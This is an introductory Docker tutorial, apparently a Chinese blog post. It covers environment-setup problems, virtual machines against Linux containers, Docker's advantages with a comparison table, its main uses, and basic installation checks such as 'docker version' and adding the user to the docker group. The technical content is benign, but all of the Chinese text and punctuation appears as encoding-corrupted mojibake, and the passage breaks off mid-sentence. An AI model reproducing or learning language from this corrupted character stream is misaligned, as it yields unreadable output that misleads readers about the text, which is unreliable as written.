Ref๏ผš\n>\n> - [Docker ๅ…ฅ้—จๆ•™็จ‹](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html) - [้˜ฎไธ€ๅณฐ](http://www.ruanyifeng.com/) ๏ผˆๆˆ‘็š„ๆœ€ๅˆ็บงๅ…ฅ้—จ่ต„ๆ–™๏ผ‰\n> - [Docker โ€” ไปŽๅ…ฅ้—จๅˆฐๅฎž่ทต](https://legacy.gitbook.com/book/yeasy/docker_practice/details) or [ๅœจ็บฟ้˜…่ฏปๅ›ฝๅ†…้•œๅƒ](https://docker_practice.gitee.io)๏ผˆ้žๅธธๅ…จ็š„ไธญๆ–‡ๆ•™็จ‹็”ตๅญไนฆ|[repo](https://github.com/yeasy/docker_practice)๏ผ‰\n> - [10ๅผ ๅ›พๅธฆไฝ ๆทฑๅ…ฅ็†่งฃDockerๅฎนๅ™จๅ’Œ้•œๅƒ](http://dockone.io/article/783)๏ผˆ่‹ฑๆ–‡ๅŽŸๆ–‡๏ผš[Visualizing Docker Containers and Images](http://merrigrove.blogspot.sg/2015/10/visualizing-docker-containers-and-images.html)๏ผ‰\n> - [Docker็ณปๅˆ—ไน‹ไธ€๏ผšๅ…ฅ้—จไป‹็ป](https://tech.meituan.com/docker_introduction.html)๏ผˆ็พŽๅ›ขๆŠ€ๆœฏ่ต„ๆ–™๏ผ‰\n> - [Docker็ณปๅˆ—ไน‹ไบŒ๏ผšๅŸบไบŽๅฎนๅ™จ็š„่‡ชๅŠจๆž„ๅปบ](https://tech.meituan.com/auto_build.html)๏ผˆ็พŽๅ›ขๆŠ€ๆœฏ่ต„ๆ–™๏ผ‰\n> - [ๅฆ‚ไฝ•ไฝฟ็”จdocker้ƒจ็ฝฒc/c++็จ‹ๅบ](https://blog.csdn.net/len_yue_mo_fu/article/details/80189035)\n> - [*Docker Get Started Tutorial*](https://docs.docker.com/get-started/)\n\n\n\n๏ผˆไปฅไธ‹ไธบๆญฃๆ–‡๏ผ‰\n\n---\n\n\n\n2013ๅนดๅ‘ๅธƒ่‡ณไปŠ๏ผŒ [Docker](https://www.docker.com/) ไธ€็›ดๅนฟๅ—็žฉ็›ฎ๏ผŒ่ขซ่ฎคไธบๅฏ่ƒฝไผšๆ”นๅ˜่ฝฏไปถ่กŒไธšใ€‚\n\n![](https://i.loli.net/2018/12/07/5c09e3e4dc7c0.png)\n\n## 1. ็Žฏๅขƒ้…็ฝฎ็š„้šพ้ข˜\n\n่ฝฏไปถๅผ€ๅ‘ๆœ€ๅคง็š„้บป็ƒฆไบ‹ไน‹ไธ€๏ผŒๅฐฑๆ˜ฏ็Žฏๅขƒ้…็ฝฎใ€‚็”จๆˆท่ฎก็ฎ—ๆœบ็š„็Žฏๅขƒ้ƒฝไธ็›ธๅŒ๏ผŒไฝ ๆ€Žไนˆ็Ÿฅ้“่‡ชๅฎถ็š„่ฝฏไปถ๏ผŒ่ƒฝๅœจ้‚ฃไบ›ๆœบๅ™จ่ท‘่ตทๆฅ๏ผŸ\n\n็”จๆˆทๅฟ…้กปไฟ่ฏไธคไปถไบ‹๏ผšๆ“ไฝœ็ณป็ปŸ็š„่ฎพ็ฝฎ๏ผŒๅ„็งๅบ“ๅ’Œ็ป„ไปถ็š„ๅฎ‰่ฃ…ใ€‚ๅชๆœ‰ๅฎƒไปฌ้ƒฝๆญฃ็กฎ๏ผŒ่ฝฏไปถๆ‰่ƒฝ่ฟ่กŒใ€‚ไธพไพ‹ๆฅ่ฏด๏ผŒๅฎ‰่ฃ…ไธ€ไธช Python ๅบ”็”จ๏ผŒ่ฎก็ฎ—ๆœบๅฟ…้กปๆœ‰ Python ๅผ•ๆ“Ž๏ผŒ่ฟ˜ๅฟ…้กปๆœ‰ๅ„็งไพ่ต–๏ผŒๅฏ่ƒฝ่ฟ˜่ฆ้…็ฝฎ็Žฏๅขƒๅ˜้‡ใ€‚\n\nๅฆ‚ๆžœๆŸไบ›่€ๆ—ง็š„ๆจกๅ—ไธŽๅฝ“ๅ‰็Žฏๅขƒไธๅ…ผๅฎน๏ผŒ้‚ฃๅฐฑ้บป็ƒฆไบ†ใ€‚ๅผ€ๅ‘่€…ๅธธๅธธไผš่ฏด๏ผš\"ๅฎƒๅœจๆˆ‘็š„ๆœบๅ™จๅฏไปฅ่ท‘ไบ†\"๏ผˆIt works on my machine๏ผ‰๏ผŒ่จ€ไธ‹ไน‹ๆ„ๅฐฑๆ˜ฏ๏ผŒๅ…ถไป–ๆœบๅ™จๅพˆๅฏ่ƒฝ่ท‘ไธไบ†ใ€‚\n\n็Žฏๅขƒ้…็ฝฎๅฆ‚ๆญค้บป็ƒฆ๏ผŒๆขไธ€ๅฐๆœบๅ™จ๏ผŒๅฐฑ่ฆ้‡ๆฅไธ€ๆฌก๏ผŒๆ—ทๆ—ฅ่ดนๆ—ถใ€‚ๅพˆๅคšไบบๆƒณๅˆฐ๏ผŒ่ƒฝไธ่ƒฝไปŽๆ นๆœฌไธŠ่งฃๅ†ณ้—ฎ้ข˜๏ผŒ่ฝฏไปถๅฏไปฅๅธฆ็Žฏๅขƒๅฎ‰่ฃ…๏ผŸไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๅฎ‰่ฃ…็š„ๆ—ถๅ€™๏ผŒๆŠŠๅŽŸๅง‹็Žฏๅขƒไธ€ๆจกไธ€ๆ ทๅœฐๅคๅˆถ่ฟ‡ๆฅใ€‚\n\n\n\n## 2. ่™šๆ‹Ÿๆœบ\n\n่™šๆ‹Ÿๆœบ๏ผˆvirtual machine๏ผ‰ๅฐฑๆ˜ฏๅธฆ็Žฏๅขƒๅฎ‰่ฃ…็š„ไธ€็ง่งฃๅ†ณๆ–นๆกˆใ€‚ๅฎƒๅฏไปฅๅœจไธ€็งๆ“ไฝœ็ณป็ปŸ้‡Œ้ข่ฟ่กŒๅฆไธ€็งๆ“ไฝœ็ณป็ปŸ๏ผŒๆฏ”ๅฆ‚ๅœจ Windows ็ณป็ปŸ้‡Œ้ข่ฟ่กŒ Linux ็ณป็ปŸใ€‚ๅบ”็”จ็จ‹ๅบๅฏนๆญคๆฏซๆ— ๆ„Ÿ็Ÿฅ๏ผŒๅ› ไธบ่™šๆ‹Ÿๆœบ็œ‹ไธŠๅŽป่ทŸ็œŸๅฎž็ณป็ปŸไธ€ๆจกไธ€ๆ ท๏ผŒ่€ŒๅฏนไบŽๅบ•ๅฑ‚็ณป็ปŸๆฅ่ฏด๏ผŒ่™šๆ‹Ÿๆœบๅฐฑๆ˜ฏไธ€ไธชๆ™ฎ้€šๆ–‡ไปถ๏ผŒไธ้œ€่ฆไบ†ๅฐฑๅˆ ๆŽ‰๏ผŒๅฏนๅ…ถไป–้ƒจๅˆ†ๆฏซๆ— ๅฝฑๅ“ใ€‚\n\n่™ฝ็„ถ็”จๆˆทๅฏไปฅ้€š่ฟ‡่™šๆ‹Ÿๆœบ่ฟ˜ๅŽŸ่ฝฏไปถ็š„ๅŽŸๅง‹็Žฏๅขƒใ€‚ไฝ†ๆ˜ฏ๏ผŒ่ฟ™ไธชๆ–นๆกˆๆœ‰ๅ‡ ไธช็ผบ็‚นใ€‚\n\n**๏ผˆ1๏ผ‰่ต„ๆบๅ ็”จๅคš**\n\n่™šๆ‹Ÿๆœบไผš็‹ฌๅ ไธ€้ƒจๅˆ†ๅ†…ๅญ˜ๅ’Œ็กฌ็›˜็ฉบ้—ดใ€‚ๅฎƒ่ฟ่กŒ็š„ๆ—ถๅ€™๏ผŒๅ…ถไป–็จ‹ๅบๅฐฑไธ่ƒฝไฝฟ็”จ่ฟ™ไบ›่ต„ๆบไบ†ใ€‚ๅ“ชๆ€•่™šๆ‹Ÿๆœบ้‡Œ้ข็š„ๅบ”็”จ็จ‹ๅบ๏ผŒ็œŸๆญฃไฝฟ็”จ็š„ๅ†…ๅญ˜ๅชๆœ‰ 1MB๏ผŒ่™šๆ‹Ÿๆœบไพ็„ถ้œ€่ฆๅ‡ ็™พ MB ็š„ๅ†…ๅญ˜ๆ‰่ƒฝ่ฟ่กŒใ€‚\n\n**๏ผˆ2๏ผ‰ๅ†—ไฝ™ๆญฅ้ชคๅคš**\n\n่™šๆ‹Ÿๆœบๆ˜ฏๅฎŒๆ•ด็š„ๆ“ไฝœ็ณป็ปŸ๏ผŒไธ€ไบ›็ณป็ปŸ็บงๅˆซ็š„ๆ“ไฝœๆญฅ้ชค๏ผŒๅพ€ๅพ€ๆ— ๆณ•่ทณ่ฟ‡๏ผŒๆฏ”ๅฆ‚็”จๆˆท็™ปๅฝ•ใ€‚\n\n**๏ผˆ3๏ผ‰ๅฏๅŠจๆ…ข**\n\nๅฏๅŠจๆ“ไฝœ็ณป็ปŸ้œ€่ฆๅคšไน…๏ผŒๅฏๅŠจ่™šๆ‹Ÿๆœบๅฐฑ้œ€่ฆๅคšไน…ใ€‚ๅฏ่ƒฝ่ฆ็ญ‰ๅ‡ ๅˆ†้’Ÿ๏ผŒๅบ”็”จ็จ‹ๅบๆ‰่ƒฝ็œŸๆญฃ่ฟ่กŒใ€‚\n\n\n\n## 3. Linux ๅฎนๅ™จ\n\n็”ฑไบŽ่™šๆ‹Ÿๆœบๅญ˜ๅœจ่ฟ™ไบ›็ผบ็‚น๏ผŒLinux ๅ‘ๅฑ•ๅ‡บไบ†ๅฆไธ€็ง่™šๆ‹ŸๅŒ–ๆŠ€ๆœฏ๏ผšLinux ๅฎนๅ™จ๏ผˆLinux Containers๏ผŒ็ผฉๅ†™ไธบ LXC๏ผ‰ใ€‚\n\n**Linux ๅฎนๅ™จไธๆ˜ฏๆจกๆ‹Ÿไธ€ไธชๅฎŒๆ•ด็š„ๆ“ไฝœ็ณป็ปŸ๏ผŒ่€Œๆ˜ฏๅฏน่ฟ›็จ‹่ฟ›่กŒ้š”็ฆปใ€‚**ๆˆ–่€…่ฏด๏ผŒๅœจๆญฃๅธธ่ฟ›็จ‹็š„ๅค–้ขๅฅ—ไบ†ไธ€ไธช[ไฟๆŠคๅฑ‚](https://opensource.com/article/18/1/history-low-level-container-runtimes)ใ€‚ๅฏนไบŽๅฎนๅ™จ้‡Œ้ข็š„่ฟ›็จ‹ๆฅ่ฏด๏ผŒๅฎƒๆŽฅ่งฆๅˆฐ็š„ๅ„็ง่ต„ๆบ้ƒฝๆ˜ฏ่™šๆ‹Ÿ็š„๏ผŒไปŽ่€Œๅฎž็ŽฐไธŽๅบ•ๅฑ‚็ณป็ปŸ็š„้š”็ฆปใ€‚\n\n็”ฑไบŽๅฎนๅ™จๆ˜ฏ่ฟ›็จ‹็บงๅˆซ็š„๏ผŒ็›ธๆฏ”่™šๆ‹Ÿๆœบๆœ‰ๅพˆๅคšไผ˜ๅŠฟใ€‚\n\n**๏ผˆ1๏ผ‰ๅฏๅŠจๅฟซ**\n\nๅฎนๅ™จ้‡Œ้ข็š„ๅบ”็”จ๏ผŒ็›ดๆŽฅๅฐฑๆ˜ฏๅบ•ๅฑ‚็ณป็ปŸ็š„ไธ€ไธช่ฟ›็จ‹๏ผŒ่€Œไธๆ˜ฏ่™šๆ‹Ÿๆœบๅ†…้ƒจ็š„่ฟ›็จ‹ใ€‚ๆ‰€ไปฅ๏ผŒๅฏๅŠจๅฎนๅ™จ็›ธๅฝ“ไบŽๅฏๅŠจๆœฌๆœบ็š„ไธ€ไธช่ฟ›็จ‹๏ผŒ่€Œไธๆ˜ฏๅฏๅŠจไธ€ไธชๆ“ไฝœ็ณป็ปŸ๏ผŒ้€Ÿๅบฆๅฐฑๅฟซๅพˆๅคšใ€‚\n\n**๏ผˆ2๏ผ‰่ต„ๆบๅ ็”จๅฐ‘**\n\nๅฎนๅ™จๅชๅ ็”จ้œ€่ฆ็š„่ต„ๆบ๏ผŒไธๅ ็”จ้‚ฃไบ›ๆฒกๆœ‰็”จๅˆฐ็š„่ต„ๆบ๏ผ›่™šๆ‹Ÿๆœบ็”ฑไบŽๆ˜ฏๅฎŒๆ•ด็š„ๆ“ไฝœ็ณป็ปŸ๏ผŒไธๅฏ้ฟๅ…่ฆๅ ็”จๆ‰€ๆœ‰่ต„ๆบใ€‚ๅฆๅค–๏ผŒๅคšไธชๅฎนๅ™จๅฏไปฅๅ…ฑไบซ่ต„ๆบ๏ผŒ่™šๆ‹Ÿๆœบ้ƒฝๆ˜ฏ็‹ฌไบซ่ต„ๆบใ€‚\n\n**๏ผˆ3๏ผ‰ไฝ“็งฏๅฐ**\n\nๅฎนๅ™จๅช่ฆๅŒ…ๅซ็”จๅˆฐ็š„็ป„ไปถๅณๅฏ๏ผŒ่€Œ่™šๆ‹Ÿๆœบๆ˜ฏๆ•ดไธชๆ“ไฝœ็ณป็ปŸ็š„ๆ‰“ๅŒ…๏ผŒๆ‰€ไปฅๅฎนๅ™จๆ–‡ไปถๆฏ”่™šๆ‹Ÿๆœบๆ–‡ไปถ่ฆๅฐๅพˆๅคšใ€‚\n\nๆ€ปไน‹๏ผŒๅฎนๅ™จๆœ‰็‚นๅƒ่ฝป้‡็บง็š„่™šๆ‹Ÿๆœบ๏ผŒ่ƒฝๅคŸๆไพ›่™šๆ‹ŸๅŒ–็š„็Žฏๅขƒ๏ผŒไฝ†ๆ˜ฏๆˆๆœฌๅผ€้”€ๅฐๅพ—ๅคšใ€‚\n\n\n\n## 4. ไธบไป€ไนˆ่ฆไฝฟ็”จ Docker\n\nไฝœไธบไธ€็งๆ–ฐๅ…ด็š„่™šๆ‹ŸๅŒ–ๆ–นๅผ๏ผŒDocker ่ทŸไผ ็ปŸ็š„่™šๆ‹ŸๅŒ–ๆ–นๅผ็›ธๆฏ”ๅ…ทๆœ‰ไผ—ๅคš็š„ไผ˜ๅŠฟใ€‚\n\n- ๆ›ด้ซ˜ๆ•ˆ็š„ๅˆฉ็”จ็ณป็ปŸ่ต„ๆบ\n\n็”ฑไบŽๅฎนๅ™จไธ้œ€่ฆ่ฟ›่กŒ็กฌไปถ่™šๆ‹ŸไปฅๅŠ่ฟ่กŒๅฎŒๆ•ดๆ“ไฝœ็ณป็ปŸ็ญ‰้ขๅค–ๅผ€้”€๏ผŒDocker ๅฏน็ณป็ปŸ่ต„ๆบ็š„ๅˆฉ็”จ็Ž‡ๆ›ด้ซ˜ใ€‚ๆ— ่ฎบๆ˜ฏๅบ”็”จๆ‰ง่กŒ้€Ÿๅบฆใ€ๅ†…ๅญ˜ๆŸ่€—ๆˆ–่€…ๆ–‡ไปถๅญ˜ๅ‚จ้€Ÿๅบฆ๏ผŒ้ƒฝ่ฆๆฏ”ไผ ็ปŸ่™šๆ‹ŸๆœบๆŠ€ๆœฏๆ›ด้ซ˜ๆ•ˆใ€‚ๅ› ๆญค๏ผŒ็›ธๆฏ”่™šๆ‹ŸๆœบๆŠ€ๆœฏ๏ผŒไธ€ไธช็›ธๅŒ้…็ฝฎ็š„ไธปๆœบ๏ผŒๅพ€ๅพ€ๅฏไปฅ่ฟ่กŒๆ›ดๅคšๆ•ฐ้‡็š„ๅบ”็”จใ€‚\n\n- ๆ›ดๅฟซ้€Ÿ็š„ๅฏๅŠจๆ—ถ้—ด\n\nไผ ็ปŸ็š„่™šๆ‹ŸๆœบๆŠ€ๆœฏๅฏๅŠจๅบ”็”จๆœๅŠกๅพ€ๅพ€้œ€่ฆๆ•ฐๅˆ†้’Ÿ๏ผŒ่€Œ Docker ๅฎนๅ™จๅบ”็”จ๏ผŒ็”ฑไบŽ็›ดๆŽฅ่ฟ่กŒไบŽๅฎฟไธปๅ†…ๆ ธ๏ผŒๆ— ้œ€ๅฏๅŠจๅฎŒๆ•ด็š„ๆ“ไฝœ็ณป็ปŸ๏ผŒๅ› ๆญคๅฏไปฅๅšๅˆฐ็ง’็บงใ€็”š่‡ณๆฏซ็ง’็บง็š„ๅฏๅŠจๆ—ถ้—ดใ€‚ๅคงๅคง็š„่Š‚็บฆไบ†ๅผ€ๅ‘ใ€ๆต‹่ฏ•ใ€้ƒจ็ฝฒ็š„ๆ—ถ้—ดใ€‚\n\n- ไธ€่‡ด็š„่ฟ่กŒ็Žฏๅขƒ\n\nๅผ€ๅ‘่ฟ‡็จ‹ไธญไธ€ไธชๅธธ่ง็š„้—ฎ้ข˜ๆ˜ฏ็Žฏๅขƒไธ€่‡ดๆ€ง้—ฎ้ข˜ใ€‚็”ฑไบŽๅผ€ๅ‘็Žฏๅขƒใ€ๆต‹่ฏ•็Žฏๅขƒใ€็”Ÿไบง็Žฏๅขƒไธไธ€่‡ด๏ผŒๅฏผ่‡ดๆœ‰ไบ› bug ๅนถๆœชๅœจๅผ€ๅ‘่ฟ‡็จ‹ไธญ่ขซๅ‘็Žฐใ€‚่€Œ Docker ็š„้•œๅƒๆไพ›ไบ†้™คๅ†…ๆ ธๅค–ๅฎŒๆ•ด็š„่ฟ่กŒๆ—ถ็Žฏๅขƒ๏ผŒ็กฎไฟไบ†ๅบ”็”จ่ฟ่กŒ็Žฏๅขƒไธ€่‡ดๆ€ง๏ผŒไปŽ่€Œไธไผšๅ†ๅ‡บ็Žฐ *ใ€Œ่ฟ™ๆฎตไปฃ็ ๅœจๆˆ‘ๆœบๅ™จไธŠๆฒก้—ฎ้ข˜ๅ•Šใ€* ่ฟ™็ฑป้—ฎ้ข˜ใ€‚\n\n- ๆŒ็ปญไบคไป˜ๅ’Œ้ƒจ็ฝฒ\n\nๅฏนๅผ€ๅ‘ๅ’Œ่ฟ็ปด๏ผˆ[DevOps](https://zh.wikipedia.org/wiki/DevOps)๏ผ‰ไบบๅ‘˜ๆฅ่ฏด๏ผŒๆœ€ๅธŒๆœ›็š„ๅฐฑๆ˜ฏไธ€ๆฌกๅˆ›ๅปบๆˆ–้…็ฝฎ๏ผŒๅฏไปฅๅœจไปปๆ„ๅœฐๆ–นๆญฃๅธธ่ฟ่กŒใ€‚\n\nไฝฟ็”จ Docker ๅฏไปฅ้€š่ฟ‡ๅฎšๅˆถๅบ”็”จ้•œๅƒๆฅๅฎž็ŽฐๆŒ็ปญ้›†ๆˆใ€ๆŒ็ปญไบคไป˜ใ€้ƒจ็ฝฒใ€‚ๅผ€ๅ‘ไบบๅ‘˜ๅฏไปฅ้€š่ฟ‡ [Dockerfile](https://docker_practice.gitee.io/image/dockerfile) ๆฅ่ฟ›่กŒ้•œๅƒๆž„ๅปบ๏ผŒๅนถ็ป“ๅˆ [ๆŒ็ปญ้›†ๆˆ(Continuous Integration)](https://en.wikipedia.org/wiki/Continuous_integration) ็ณป็ปŸ่ฟ›่กŒ้›†ๆˆๆต‹่ฏ•๏ผŒ่€Œ่ฟ็ปดไบบๅ‘˜ๅˆ™ๅฏไปฅ็›ดๆŽฅๅœจ็”Ÿไบง็Žฏๅขƒไธญๅฟซ้€Ÿ้ƒจ็ฝฒ่ฏฅ้•œๅƒ๏ผŒ็”š่‡ณ็ป“ๅˆ [ๆŒ็ปญ้ƒจ็ฝฒ(Continuous Delivery/Deployment)](https://en.wikipedia.org/wiki/Continuous_delivery) ็ณป็ปŸ่ฟ›่กŒ่‡ชๅŠจ้ƒจ็ฝฒใ€‚\n\n่€Œไธ”ไฝฟ็”จ `Dockerfile` ไฝฟ้•œๅƒๆž„ๅปบ้€ๆ˜ŽๅŒ–๏ผŒไธไป…ไป…ๅผ€ๅ‘ๅ›ข้˜Ÿๅฏไปฅ็†่งฃๅบ”็”จ่ฟ่กŒ็Žฏๅขƒ๏ผŒไนŸๆ–นไพฟ่ฟ็ปดๅ›ข้˜Ÿ็†่งฃๅบ”็”จ่ฟ่กŒๆ‰€้œ€ๆกไปถ๏ผŒๅธฎๅŠฉๆ›ดๅฅฝ็š„็”Ÿไบง็Žฏๅขƒไธญ้ƒจ็ฝฒ่ฏฅ้•œๅƒใ€‚\n\n- ๆ›ด่ฝปๆพ็š„่ฟ็งป\n\n็”ฑไบŽ Docker ็กฎไฟไบ†ๆ‰ง่กŒ็Žฏๅขƒ็š„ไธ€่‡ดๆ€ง๏ผŒไฝฟๅพ—ๅบ”็”จ็š„่ฟ็งปๆ›ดๅŠ ๅฎนๆ˜“ใ€‚Docker ๅฏไปฅๅœจๅพˆๅคšๅนณๅฐไธŠ่ฟ่กŒ๏ผŒๆ— ่ฎบๆ˜ฏ็‰ฉ็†ๆœบใ€่™šๆ‹Ÿๆœบใ€ๅ…ฌๆœ‰ไบ‘ใ€็งๆœ‰ไบ‘๏ผŒ็”š่‡ณๆ˜ฏ็ฌ”่ฎฐๆœฌ๏ผŒๅ…ถ่ฟ่กŒ็ป“ๆžœๆ˜ฏไธ€่‡ด็š„ใ€‚ๅ› ๆญค็”จๆˆทๅฏไปฅๅพˆ่ฝปๆ˜“็š„ๅฐ†ๅœจไธ€ไธชๅนณๅฐไธŠ่ฟ่กŒ็š„ๅบ”็”จ๏ผŒ่ฟ็งปๅˆฐๅฆไธ€ไธชๅนณๅฐไธŠ๏ผŒ่€Œไธ็”จๆ‹…ๅฟƒ่ฟ่กŒ็Žฏๅขƒ็š„ๅ˜ๅŒ–ๅฏผ่‡ดๅบ”็”จๆ— ๆณ•ๆญฃๅธธ่ฟ่กŒ็š„ๆƒ…ๅ†ตใ€‚\n\n- ๆ›ด่ฝปๆพ็š„็ปดๆŠคๅ’Œๆ‰ฉๅฑ•\n\nDocker ไฝฟ็”จ็š„ๅˆ†ๅฑ‚ๅญ˜ๅ‚จไปฅๅŠ้•œๅƒ็š„ๆŠ€ๆœฏ๏ผŒไฝฟๅพ—ๅบ”็”จ้‡ๅค้ƒจๅˆ†็š„ๅค็”จๆ›ดไธบๅฎนๆ˜“๏ผŒไนŸไฝฟๅพ—ๅบ”็”จ็š„็ปดๆŠคๆ›ดๆ–ฐๆ›ดๅŠ ็ฎ€ๅ•๏ผŒๅŸบไบŽๅŸบ็ก€้•œๅƒ่ฟ›ไธ€ๆญฅๆ‰ฉๅฑ•้•œๅƒไนŸๅ˜ๅพ—้žๅธธ็ฎ€ๅ•ใ€‚ๆญคๅค–๏ผŒDocker ๅ›ข้˜ŸๅŒๅ„ไธชๅผ€ๆบ้กน็›ฎๅ›ข้˜Ÿไธ€่ตท็ปดๆŠคไบ†ไธ€ๅคงๆ‰น้ซ˜่ดจ้‡็š„ [ๅฎ˜ๆ–น้•œๅƒ](https://store.docker.com/search?q=&source=verified&type=image)๏ผŒๆ—ขๅฏไปฅ็›ดๆŽฅๅœจ็”Ÿไบง็Žฏๅขƒไฝฟ็”จ๏ผŒๅˆๅฏไปฅไฝœไธบๅŸบ็ก€่ฟ›ไธ€ๆญฅๅฎšๅˆถ๏ผŒๅคงๅคง็š„้™ไฝŽไบ†ๅบ”็”จๆœๅŠก็š„้•œๅƒๅˆถไฝœๆˆๆœฌใ€‚\n\n- ๅฏนๆฏ”ไผ ็ปŸ่™šๆ‹Ÿๆœบๆ€ป็ป“\n\n| ็‰นๆ€ง | ๅฎนๅ™จ | ่™šๆ‹Ÿๆœบ |\n| ---------- | ------------------ | ----------- |\n| ๅฏๅŠจ | ็ง’็บง | ๅˆ†้’Ÿ็บง |\n| ็กฌ็›˜ไฝฟ็”จ | ไธ€่ˆฌไธบ `MB` | ไธ€่ˆฌไธบ `GB` |\n| ๆ€ง่ƒฝ | ๆŽฅ่ฟ‘ๅŽŸ็”Ÿ | ๅผฑไบŽ |\n| ็ณป็ปŸๆ”ฏๆŒ้‡ | ๅ•ๆœบๆ”ฏๆŒไธŠๅƒไธชๅฎนๅ™จ | ไธ€่ˆฌๅ‡ ๅไธช |\n\n![](https://i.loli.net/2018/12/07/5c09ea37056ae.png)\n\n\n\n## 5. Docker ๆ˜ฏไป€ไนˆ๏ผŸ\n\n**Docker ๅฑžไบŽ Linux ๅฎนๅ™จ็š„ไธ€็งๅฐ่ฃ…๏ผŒๆไพ›็ฎ€ๅ•ๆ˜“็”จ็š„ๅฎนๅ™จไฝฟ็”จๆŽฅๅฃใ€‚**ๅฎƒๆ˜ฏ็›ฎๅ‰ๆœ€ๆต่กŒ็š„ Linux ๅฎนๅ™จ่งฃๅ†ณๆ–นๆกˆใ€‚\n\nDocker ๅฐ†ๅบ”็”จ็จ‹ๅบไธŽ่ฏฅ็จ‹ๅบ็š„ไพ่ต–๏ผŒๆ‰“ๅŒ…ๅœจไธ€ไธชๆ–‡ไปถ้‡Œ้ขใ€‚่ฟ่กŒ่ฟ™ไธชๆ–‡ไปถ๏ผŒๅฐฑไผš็”Ÿๆˆไธ€ไธช่™šๆ‹Ÿๅฎนๅ™จใ€‚็จ‹ๅบๅœจ่ฟ™ไธช่™šๆ‹Ÿๅฎนๅ™จ้‡Œ่ฟ่กŒ๏ผŒๅฐฑๅฅฝๅƒๅœจ็œŸๅฎž็š„็‰ฉ็†ๆœบไธŠ่ฟ่กŒไธ€ๆ ทใ€‚ๆœ‰ไบ† Docker๏ผŒๅฐฑไธ็”จๆ‹…ๅฟƒ็Žฏๅขƒ้—ฎ้ข˜ใ€‚\n\nๆ€ปไฝ“ๆฅ่ฏด๏ผŒDocker ็š„ๆŽฅๅฃ็›ธๅฝ“็ฎ€ๅ•๏ผŒ็”จๆˆทๅฏไปฅๆ–นไพฟๅœฐๅˆ›ๅปบๅ’Œไฝฟ็”จๅฎนๅ™จ๏ผŒๆŠŠ่‡ชๅทฑ็š„ๅบ”็”จๆ”พๅ…ฅๅฎนๅ™จใ€‚ๅฎนๅ™จ่ฟ˜ๅฏไปฅ่ฟ›่กŒ็‰ˆๆœฌ็ฎก็†ใ€ๅคๅˆถใ€ๅˆ†ไบซใ€ไฟฎๆ”น๏ผŒๅฐฑๅƒ็ฎก็†ๆ™ฎ้€š็š„ไปฃ็ ไธ€ๆ ทใ€‚\n\n่ฏฆ็ป†็š„ Docker ไป‹็ปๅฏ่ง๏ผš[XX](https://docker_practice.gitee.io/introduction/what.html)\n\n\n\n## 6. Docker ็š„็”จ้€”\n\nDocker ็š„ไธป่ฆ็”จ้€”๏ผŒ็›ฎๅ‰ๆœ‰ไธ‰ๅคง็ฑปใ€‚\n\n**๏ผˆ1๏ผ‰ๆไพ›ไธ€ๆฌกๆ€ง็š„็Žฏๅขƒใ€‚**ๆฏ”ๅฆ‚๏ผŒๆœฌๅœฐๆต‹่ฏ•ไป–ไบบ็š„่ฝฏไปถใ€ๆŒ็ปญ้›†ๆˆ็š„ๆ—ถๅ€™ๆไพ›ๅ•ๅ…ƒๆต‹่ฏ•ๅ’Œๆž„ๅปบ็š„็Žฏๅขƒใ€‚\n\n**๏ผˆ2๏ผ‰ๆไพ›ๅผนๆ€ง็š„ไบ‘ๆœๅŠกใ€‚**ๅ› ไธบ Docker ๅฎนๅ™จๅฏไปฅ้šๅผ€้šๅ…ณ๏ผŒๅพˆ้€‚ๅˆๅŠจๆ€ๆ‰ฉๅฎนๅ’Œ็ผฉๅฎนใ€‚\n\n**๏ผˆ3๏ผ‰็ป„ๅปบๅพฎๆœๅŠกๆžถๆž„ใ€‚**้€š่ฟ‡ๅคšไธชๅฎนๅ™จ๏ผŒไธ€ๅฐๆœบๅ™จๅฏไปฅ่ท‘ๅคšไธชๆœๅŠก๏ผŒๅ› ๆญคๅœจๆœฌๆœบๅฐฑๅฏไปฅๆจกๆ‹Ÿๅ‡บๅพฎๆœๅŠกๆžถๆž„ใ€‚\n\n\n\n## 7. Docker ็š„ๅฎ‰่ฃ…\n\nDocker ๆ˜ฏไธ€ไธชๅผ€ๆบ็š„ๅ•†ไธšไบงๅ“๏ผŒๆœ‰ไธคไธช็‰ˆๆœฌ๏ผš็คพๅŒบ็‰ˆ๏ผˆCommunity Edition๏ผŒ็ผฉๅ†™ไธบ CE๏ผ‰ๅ’Œไผไธš็‰ˆ๏ผˆEnterprise Edition๏ผŒ็ผฉๅ†™ไธบ EE๏ผ‰ใ€‚ไผไธš็‰ˆๅŒ…ๅซไบ†ไธ€ไบ›ๆ”ถ่ดนๆœๅŠก๏ผŒไธชไบบๅผ€ๅ‘่€…ไธ€่ˆฌ็”จไธๅˆฐใ€‚ไธ‹้ข็š„ไป‹็ป้ƒฝ้’ˆๅฏน็คพๅŒบ็‰ˆใ€‚\n\nDocker CE ็š„ๅฎ‰่ฃ…่ฏทๅ‚่€ƒ[ๅฎ˜ๆ–นๆ–‡ๆกฃ](https://docs.docker.com/install/)๏ผŒไนŸๅฏๅ‚่€ƒ่ฟ™ๆœฌ[ไธญๆ–‡็บฟไธŠ็”ตๅญไนฆๆ•™็จ‹](https://docker_practice.gitee.io/install/)ใ€‚\n\n=========็ป่ฟ‡ไธ€ๆฎตๅฎ‰่ฃ…่ฟ‡็จ‹==========\n\nๅฎ‰่ฃ…ๅฎŒๆˆๅŽ๏ผŒ่ฟ่กŒไธ‹้ข็š„ๅ‘ฝไปค๏ผŒ้ชŒ่ฏๆ˜ฏๅฆๅฎ‰่ฃ…ๆˆๅŠŸใ€‚\n\n```shell\n$ docker version\n$ docker info\n```\n\nDocker ้œ€่ฆ็”จๆˆทๅ…ทๆœ‰ sudo ๆƒ้™๏ผŒไธบไบ†้ฟๅ…ๆฏๆฌกๅ‘ฝไปค้ƒฝ่พ“ๅ…ฅ`sudo`๏ผŒๅฏไปฅๆŠŠ็”จๆˆทๅŠ ๅ…ฅ Docker ็”จๆˆท็ป„๏ผˆ[ๅฎ˜ๆ–นๆ–‡ๆกฃ](https://docs.docker.com/install/linux/linux-postinstall/#manage-docker-as-a-non-root-user)๏ผ‰ใ€‚ไนŸๅฏไปฅๆฏๆฌกๆ‰ง่กŒ Docker ็š„ๅ‘ฝไปคๆ—ถ้ƒฝๅธฆไธŠ `sudo`ใ€‚\n\n```shell\n$ sudo usermod -aG docker $USER\n```\n\nDocker 